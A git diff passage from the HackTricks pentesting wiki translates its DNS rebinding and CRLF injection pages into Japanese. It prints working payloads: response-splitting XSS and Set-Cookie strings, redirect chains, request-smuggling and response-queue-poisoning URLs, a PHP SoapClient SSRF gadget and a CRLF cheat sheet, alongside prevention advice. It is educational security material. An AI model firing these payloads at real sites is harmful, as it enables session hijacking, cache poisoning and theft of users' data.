will get both. +**同じサブドメイン**に対して **2つの A レコード**(または **1つのレコードに2つの IP**、プロバイダによる)を作成し、ブラウザがそれらをチェックすると両方を取得できるようにします。 -Now, if the **browser** decides to **use** the **attacker IP address first**, the **attacker** will be able to **serve** the **payload** that will **perform HTTP requests** to the same **domain**. However, now that the attacker knows the IP of the victim, **he will stop answering the victim browser**. +今度は、ブラウザが**最初に攻撃者の IP アドレスを使用する**ことを決定した場合、攻撃者は同じ**ドメイン**に対して**HTTP リクエストを実行するペイロード**を提供できます。ただし、攻撃者は被害者の IP を知っているため、**被害者のブラウザには応答しなくなります**。 -When the browser finds that the **domain isn't responding** to him, it will **use the second given IP**, so he will **access a different place bypassing SOP**. The attacker can abuse that to **get the information and exfiltrate it**. +ブラウザが**ドメインから応答がない**ことを検出すると、**2番目に指定された IP**を使用するため、SOP をバイパスして異なる場所にアクセスすることができます。攻撃者はそれを悪用して情報を取得し、外部に漏洩させることができます。 {% hint style="warning" %} -Note that in order to access localhost you should try to rebind **127.0.0.1** in Windows and **0.0.0.0** in linux.\ -Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them "0.0.0.0" +localhost にアクセスするためには、Windows では **127.0.0.1**、Linux では **0.0.0.0** を再バインドする必要があります。\ +godaddy や cloudflare のようなプロバイダでは、IP 0.0.0.0 を使用することはできませんでしたが、AWS route53 では 2 つの IP を持つ A レコードを作成することができました。そのうちの 1 つが "0.0.0.0" です。 {% endhint %} ![](<../.gitbook/assets/image (620) (4).png>) -For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) +詳細については、[https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) を参照してください。 -### Other Common Bypasses +### その他の一般的なバイパス方法 -* If **internal IPs aren't allowed**, they might **forgot forbidding 0.0.0.0** (works on Linux and Mac) -* If **internal IPs aren't allowed**, respond with a **CNAME** to **localhost** (works on Linux and Ma -* If **internal IPs aren't allowed** as DNS responses, you can respond **CNAMEs to internal services** such as www.corporate.internal. +* **内部 IP が許可されていない**場合、Linux と Mac では **0.0.0.0** を禁止するのを忘れるかもしれません。 +* **内部 IP が許可されていない**場合、**CNAME** を **localhost** に応答することができます(Linux と Mac で動作します)。 +* **内部 IP が DNS 応答として許可されていない**場合、www.corporate.internal のような**内部サービスに対して CNAME を応答**することができます。 -### DNS Rebidding Weaponized +### DNS Rebidding の武器化 -You can find more information about the previous bypass techniques and how to use the following tool in the talk [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). +前述のバイパス技術の詳細と、次のツールの使用方法については、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ) のトークで詳細を確認できます。 -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) は、[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 攻撃を実行するためのツールです。このツールには、攻撃サーバーの DNS 名の IP アドレスをターゲットマシンの IP アドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。 +### DNSリバインディングに対する実際の保護策 -### Real Protection against DNS Rebinding +* 内部サービスでTLSを使用する +* データにアクセスするための認証を要求する +* Hostヘッダーを検証する +* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): パブリックサーバーが内部サーバーにアクセスする場合に常にプリフライトリクエストを送信するための提案 -* Use TLS in internal services -* Request authentication to access data -* Validate the Host header -* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Proposal to always send a pre-flight request when public servers want to access internal servers +## **ツール** -## **Tools** - -**Fuzz possible misconfigurations in CORS policies** +**CORSポリシーの設定ミスをファズする** * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) * [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy) * [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe) -## References +## 参考文献 {% embed url="https://portswigger.net/web-security/cors" %} @@ -432,10 +410,10 @@ You can find more information about the previous bypass techniques and how to us ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/pentesting-web/crlf-0d-0a.md b/pentesting-web/crlf-0d-0a.md index 26aad2c80..0f6aff1bd 100644 --- a/pentesting-web/crlf-0d-0a.md +++ b/pentesting-web/crlf-0d-0a.md @@ -1,225 +1,193 @@ -# CRLF (%0D%0A) Injection +# CRLF (%0D%0A) インジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## What is CRLF? +## CRLFとは? -When a browser sends a request to a web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF. +ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツ(つまり、レスポンスボディ)を含むレスポンスを返します。HTTPヘッダーとHTMLレスポンス(ウェブサイトのコンテンツ)は、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンと改行としても知られています。短く言えば、CRLFです。 -The web server uses the CRLF to understand when new HTTP header begins and another one ends. The CRLF can also tell a web application or user that a new line begins in a file or in a text block. The CRLF characters are a standard HTTP/1.1 message, so it is used by any type of web server, including Apache, Microsoft IIS and all others.\ -From [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/) +ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終了することを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆるタイプのウェブサーバーで使用されます。\ +[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)より引用 -### What is the CRLF Injection Vulnerability? +### CRLFインジェクション脆弱性とは? -In a CRLF injection vulnerability attack the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. As such the CRLF sequences are not malicious characters, however they can be used for malicious intend, for HTTP response splitting etc. +CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンと改行の文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割などの悪意のある目的に使用することができます。 -## CRLF injection in web applications +## ウェブアプリケーションにおけるCRLFインジェクション -In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability. In fact a CRLF injection attack can have very serious repercussions on a web application, even though it was never listed in the OWASP Top 10 list. For example it is also possible to manipulate log files in an admin panel as explained in the below example. +ウェブアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与えることがあります。影響は情報の漏洩からコードの実行まで、直接的なウェブアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。以下の例では、管理パネルのログファイルを操作することも可能です。 -#### An example of CRLF Injection in a log file - -Imagine a log file in an admin panel with the output stream pattern of IP - Time - Visited Path, such as the below: +#### ログファイルにおけるCRLFインジェクションの例 +以下のようなIP - 時間 - 訪問パスの出力ストリームパターンを持つ管理パネルのログファイルを想像してください: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` - -If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below: - +もし攻撃者がCRLF文字をHTTPリクエストに挿入できる場合、彼は出力ストリームを変更し、ログエントリを偽造することができます。彼はウェブアプリケーションからのレスポンスを以下のように変更することができます: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` +%0d and %0aはCRとLFのURLエンコード形式です。したがって、攻撃者がこれらの文字を挿入し、アプリケーションがそれを表示した場合、ログエントリは次のようになります: -The %0d and %0a are the url encoded forms of CR and LF. Therefore the log entries would look like this after the attacker inserted those characters and the application displays it: - -IP - Time - Visited Path - +IP - 時間 - 訪問したパス ``` 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` +したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限されたアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。 -Therefore by exploiting a CRLF injection vulnerability the attacker can fake entries in the log file to obfuscate his own malicious actions. The attacker is literally doing page hijacking and modifying the response. For example imagine a scenario where the attacker has the admin password and executed the restrictedaction parameter, which can only be used by an admin. - -The problem is that if the administrator notices that an unknown IP used the restrictedaction parameter, will notice that something is wrong. However, since now it looks like the command was issued by the localhost (and therefore probably by someone who has access to the server, like an admin) it does not look suspicious. - -The whole part of the query beginning with %0d%0a will be handled by the server as one parameter. After that there is another & with the parameter restricted action which will be parsed by the server as another parameter. Effectively this would be the same query as: +問題は、管理者が制限されたアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがっておそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われる)、怪しまれません。 +%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、もう1つの&があり、これはサーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じになります: ``` /index.php?page=home&restrictedaction=edit ``` +### HTTP レスポンス分割 -### HTTP Response Splitting +#### 説明 -#### Description +HTTP レスポンスのヘッダとボディは CRLF 文字で区切られているため、攻撃者はそれらを注入しようと試みることができます。CRLFCRLF の組み合わせは、ブラウザにヘッダが終わり、ボディが始まることを伝えます。つまり、彼は今、HTML コードが格納されているレスポンスボディ内にデータを書き込むことができます。これはクロスサイトスクリプティングの脆弱性につながる可能性があります。 -Since the header of a HTTP response and its body are separated by CRLF characters an attacker can try to inject those. A combination of CRLFCRLF will tell the browser that the header ends and the body begins. That means that he is now able to write data inside the response body where the html code is stored. This can lead to a Cross-site Scripting vulnerability. - -#### An example of HTTP Response Splitting leading to XSS - -Imagine an application that sets a custom header, for example: +#### XSS につながる HTTP レスポンス分割の例 +例えば、カスタムヘッダを設定するアプリケーションを想像してください: ``` X-Your-Name: Bob ``` - -The value of the header is set via a get parameter called "name". If no URL encoding is in place and the value is directly reflected inside the header it might be possible for an attacker to insert the above mentioned combination of CRLFCRLF to tell the browser that the request body begins. That way he is able to insert data such as XSS payload, for example: - +ヘッダーの値は「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入して、リクエストボディの開始をブラウザに伝えることができます。その方法で、彼はXSSペイロードなどのデータを挿入することができます。例えば: ``` ?name=Bob%0d%0a%0d%0a ``` +上記は、攻撃対象のドメインのコンテキストでアラートウィンドウが表示されます。 -The above will display an alert window in the context of the attacked domain. - -#### An example of HTTP Response Splitting leading to Redirect +#### リダイレクトにつながるHTTPレスポンス分割の例 {% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %} -Browser to: - +ブラウザを以下に設定します: ``` /%0d%0aLocation:%20http://myweb.com ``` - -And the server responses with the header: - +そして、サーバーは次のヘッダーで応答します: ``` Location: http://myweb.com ``` - -**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** - +**他の例:(from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` +#### URLパス内 -#### In URL Path - -You can send the payload **inside the URL path** to control the **response** from the server: - +サーバーからの**レスポンス**を制御するために、ペイロードを**URLパス内**に送信することができます。 ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` - {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} -### HTTP Header Injection +### HTTPヘッダーインジェクション -#### Description +#### 説明 -By exploiting a CRLF injection an attacker can also insert HTTP headers which could be used to defeat security mechanisms such as a browser's XSS filter or the same-origin-policy. This allows the attacker to gain sensitive information like CSRF tokens. He can also set cookies which could be exploited by logging the victim in the attacker's account or by exploiting otherwise unexploitable [cross-site scripting (XSS) vulnerabilities](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/). +CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダーを挿入することができます。これにより、ブラウザのXSSフィルターや同一オリジンポリシーなどのセキュリティメカニズムを回避することができます。これにより、攻撃者はCSRFトークンなどの機密情報を取得することができます。また、クッキーを設定することもできます。これにより、攻撃者は被害者を自分のアカウントにログインさせることができます。または、それ以外の未利用の[クロスサイトスクリプティング(XSS)の脆弱性](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/)を悪用することができます。 -#### An example of HTTP Header Injection to extract sensitive data +#### 機密データを抽出するためのHTTPヘッダーインジェクションの例 -If an attacker is able to inject the HTTP headers that activate CORS (Cross Origin Resource Sharing), he can use javascript to access resources that are otherwise protected by SOP (Same Origin Policy) which prevents sites from different origins to access each other. +攻撃者がCORS(Cross Origin Resource Sharing)を有効にするHTTPヘッダーをインジェクションできる場合、異なるオリジンのサイトが互いにアクセスできない同一オリジンポリシー(SOP)によって保護されているリソースにJavaScriptを使用してアクセスすることができます。 -### New HTTP request in SSRF - -Abusing CRLF injection you can **craft a new HTTP request and inject it**.\ -A good example can be done using the `SoapClient` deserialization gadget from in PHP. This class is **vulnerable to CRLF** inside the `user_agent` parameter allowing to i**nsert new headers and body content**. However, you can even be able to abuse this vulnerability to **inject a new HTTP request:** +### SSRFでの新しいHTTPリクエスト +CRLFインジェクションを悪用することで、**新しいHTTPリクエストを作成してインジェクションする**ことができます。\ +PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を**挿入する**ことができます。ただし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**こともできるかもしれません。 ```php -$target = 'http://127.0.0.1:9090/test'; +$target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; $crlf = array( - 'POST /proxy HTTP/1.1', - 'Host: local.host.htb', - 'Cookie: PHPSESSID=[PHPSESSID]', - 'Content-Type: application/x-www-form-urlencoded', - 'Content-Length: '.(string)strlen($post_string), - "\r\n", - $post_string +'POST /proxy HTTP/1.1', +'Host: local.host.htb', +'Cookie: PHPSESSID=[PHPSESSID]', +'Content-Type: application/x-www-form-urlencoded', +'Content-Length: '.(string)strlen($post_string), +"\r\n", +$post_string ); $client = new SoapClient(null, - array( - 'uri'=>$target, - 'location'=>$target, - 'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf) - ) +array( +'uri'=>$target, +'location'=>$target, +'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf) +) ); #Put a nc listening in port 9090 $client->__soapCall("test", []); ``` +### リクエストスマグリングへのヘッダーインジェクション -### Header Injection to Request Smuggling - -You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request: - +初期リクエストに応答した後、バックエンドが接続を維持するために、重要なヘッダーをインジェクションすることができます。 ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` +次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加した**追加のヘッダー/ボディ**を含む、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)のオプションが2つあります。 -Then, **specify a second request**. Here you have a **classic** [**request smuggling**](http-request-smuggling/) \*\*\*\* with **extra** **headers/body** appended by the server after the injection.\ -Here's two of the many options for cross-user exploitation. - -Specifying a **malicious prefix** to poison either the next user's request, or a web cache: +次のユーザーのリクエストまたはWebキャッシュを汚染するために、**悪意のある接頭辞**を指定します。 `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -Or crafting our prefix to combine with the trailing junk and create a complete second request in order to trigger **response queue poisoning**. +または、トレイリングジャンクと組み合わせて完全な2番目のリクエストを作成し、**レスポンスキューの汚染**をトリガーするための接頭辞を作成します。 `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` -For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). +この技術と潜在的な問題についての詳細は、[**元のソースを確認してください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 -### Memcache Injection +### Memcacheインジェクション -Memcache is a **key-value store that uses a clear text protocol**. More info in: +Memcacheは、クリアテキストプロトコルを使用する**キーバリューストア**です。詳細は次を参照してください: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} -If a plarform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**. +プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドを注入**することができます。 -For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers: +たとえば、元の脆弱性が発見された場合、キャッシュキーはユーザーが接続するためのIPとポートを返すために使用され、攻撃者は**memcacheコマンドを注入**してキャッシュを**汚染し、被害者の詳細**(ユーザ名とパスワードを含む)を攻撃者のサーバーに送信することができました。 -
+さらに、研究者は、メールアドレスを知らないユーザーに攻撃者のIPとポートを送信するために、memcacheのレスポンスをデシンクすることも発見しました。 -Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know: +**詳細については、[**元の記事**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)を読んでください**\*\*\*\* -
+## CRLFインジェクションの影響 -
+CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報の漏洩までのすべての影響を含みます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。 -**For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\* +### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法 -## Impacts of the CRLF injection Vulnerability - -The impact of CRLF injections vary and also include all the impacts of Cross-site Scripting to information disclosure. It can also deactivate certain security restrictions like XSS Filters and the Same Origin Policy in the victim's browsers, leaving them susceptible to malicious attacks. - -### How to Prevent CRLF / HTTP Header Injections in Web Applications - -The best prevention technique is to not use users input directly inside response headers. If that is not possible, you should always use a function to encode the CRLF special characters. Another good web application security best practise is to update your programming language to a version that does not allow CR and LF to be injected inside functions that set HTTP headers. - -### CHEATSHEET +最も効果的な予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするために常に関数を使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、Webアプリケーションのセキュリティのベストプラクティスです。 +### チートシート ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) 2. CRLF chained with Open Redirect -• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 +• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2 • /google.com/%2F..%0D%0AHeader-Test:test2 • /%0d%0aLocation:%20http://example.com @@ -235,23 +203,22 @@ The best prevention technique is to not use users input directly inside response • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` - -## Tool +## ツール {% embed url="https://github.com/dwisiswant0/crlfuzz" %} -## Brute-Force Detection List +## ブルートフォース検出リスト {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %} -## References +## 参考文献 * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_). {% embed url="https://www.stmcyber.com/careers" %} @@ -259,10 +226,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/cross-site-websocket-hijacking-cswsh.md b/pentesting-web/cross-site-websocket-hijacking-cswsh.md index 69482b059..dd8e3cd30 100644 --- a/pentesting-web/cross-site-websocket-hijacking-cswsh.md +++ 